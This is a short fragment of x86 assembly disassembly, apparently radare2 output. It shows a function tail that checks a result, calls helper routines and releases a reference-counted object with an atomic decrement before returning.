pop edi
pop esi
test eax, eax
je 0x406892
lea eax, [ebp - 0xc]
push 0x40663b
push eax
call fcn.004020fb
pop ecx
pop ecx
lea ecx, [ebp - 0xc]
call fcn.0040671a
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x406892
or eax, 0xffffffff
lock xadd dword [ecx + 4], eax
jne 0x406892
call fcn.0040407b
xor eax, eax
leave
ret